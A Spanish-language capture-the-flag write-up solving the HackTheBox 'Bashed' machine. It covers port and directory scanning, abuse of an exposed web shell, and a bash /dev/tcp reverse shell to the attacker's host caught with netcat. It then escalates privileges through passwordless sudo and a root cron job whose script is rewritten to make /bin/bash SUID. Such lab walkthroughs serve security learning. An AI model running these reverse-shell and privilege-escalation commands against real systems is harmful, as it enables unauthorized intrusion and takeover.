HTB Bashed
¡Hola!
En esta ocasión vamos a resolver de la máquina bashed
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre bashed
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack bashed
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.68
[*] Detectando sistema operativo ...
[+] 10.10.10.68 ttl=63 >> Linux
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.68 -oG ports | grep open
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p80 -sCV 10.10.10.68 -oN versions
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
RECONOCIMIENTO WEB
Iniciamos con el reconocimiento del puerto 80
por medio de la utilidad whatweb
para identificar software que sea potencialmente vulnerable o de utilidad para nosotros.
whatweb 10.10.10.68
http://10.10.10.68 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.68], JQuery, Meta-Author[Colorlib], Script[text/javascript], Title[Arrexel's Development Site]
Poco podemos utilizar de la información obtenida, así que vamos a realizar fuzzing por medio de wfuzz
, esta vez para encontrar rutas con posible contenido que pueda ser útil.
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.68/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
===================================================================
000000002: 301 9 L 28 W 311 Ch "images
000000324: 301 9 L 28 W 308 Ch "php"
000000536: 301 9 L 28 W 308 Ch "css"
000000820: 301 9 L 28 W 308 Ch "dev"
000000939: 301 9 L 28 W 307 Ch "js"
000002757: 301 9 L 28 W 310 Ch "fonts"
000000150: 301 9 L 28 W 312 Ch "uploads"
Vamos a revisar la ruta dev
y cómo podemos ver encontramos una webshell embebida en la página web, por lo que vamos a aprovechar este recurso para generar una reverse shell y tener un acceso directo desde nuestra máquina.
En la webshell vamos a ejecutar lo siguiente:
bash -c "bash -i >%26 /dev/tcp/10.10.1414/4564 0>%261"
En nuestra máquina ponemos un listener por el puerto indicado anteriormente, obteniendo acceso al objetivo satisfactoriamente.
nc -lnvp 4564
listening on [any] 4564 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.68] 45490
bash: cannot set terminal process group (845): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bashed:/var/www/html/dev$ whoami
whoami
www-data
www-data@bashed:/var/www/html/dev$ hostname
hostname
bashed
FLAG USER
Una vez tenemos acceso a la máquina, tenemos la posibilidad de leer la flag user
www-data@bashed:/var/www/html/dev$ find / -name user.txt 2>/dev/null
/home/arrexel/user.txt
www-data@bashed:/var/www/html/dev$ head -c 10 /home/arrexel/user.txt; echo
5dda671ad3
ESCALADA DE PRIVILEGIOS SCRIPTMANAGER
Necesitamos escalar privilegios para poder llegar a la flag root
, así que vamos a enumerar permisos de sudo que tenemos actualmente.
www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Podemos identificar que podemos ejecutar cualquier tipo de comando sin contraseña como el usuario scriptmanager
, por lo que vamos a ejecutar el comando bash
para obtener una shell con permisos del usuario recién encontrado.
www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager bash
scriptmanager@bashed:/var/www/html/dev$ whoami
scriptmanager
ESCALADA DE PRIVILEGIOS ROOT
Necesitamos tener acceso al usuario root
, así que realizamos una enumeración de directorios y podemos identificar un archivo test.py
, el cual, pretende ejecutar una acción y obtiene como salida un txt
con permisos de administración.
dscriptmanager@bashed:/$ cd scripts
scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 07:19 .
drwxr-xr-x 23 root root 4096 Jun 2 07:25 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Jul 23 13:20 test.txt
PROCMON.SH
Para esta ocasión vamos a hacer uso de un script enumerador de procesos que denominaremos procmon.sh
, esto con la finalidad de monitorear los comandos que son ejecutados en tiempo real por la máquina, para esto ingresamos a la carpeta /tmp
y creamos el siguiente script de monitoreo.
cd /tmp
nano procmon.sh
#!/bin/bash
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon | command | kworker"
old_process=$new_process
done
Damos permisos de ejecución a nuestro archivo y procedemos a ver en el output que se está ejecutando test-py
periódicamente.
chmod +x procmon.sh
> /usr/sbin/CRON -f
> /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
> python test.py
< /usr/sbin/CRON -f
< /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
< python test.py
Muy bien, ahora que identificamos que el archivo test.py
se está ejecutando y tenemos capacidad de escritura en el mismo, manipularemos el código para generar un permiso SUID en /bin/bash
.
nano test.py
import os
os.system("chmod u+s /bin/bash")
Procedemos a monitorear el comando ls -la /bin/bash
para detectar el momento en que tenga permisos como SUID.
watch -n 1 ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
¡Ya estamos terminando! Ahora vamos a ejecutar el comando bash -p
que nos va a dar automáticamente una shell con permisos de root
, esto gracias a la asignación de permisos SUID.
scriptmanager@bashed:/scripts$ bash -p
bash-4.3# whoami
root
¡Logramos tener acceso como root! No queda nada más, vamos a acceder a la carpeta que contiene la flag y eso es todo.
bash-4.3# find / -name root.txt 2>/dev/null
/root/root.txt
bash-4.3# head -c 10 /root/root.txt; echo
e2e427545
¡Hemos logrado completar la máquina bashed
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit..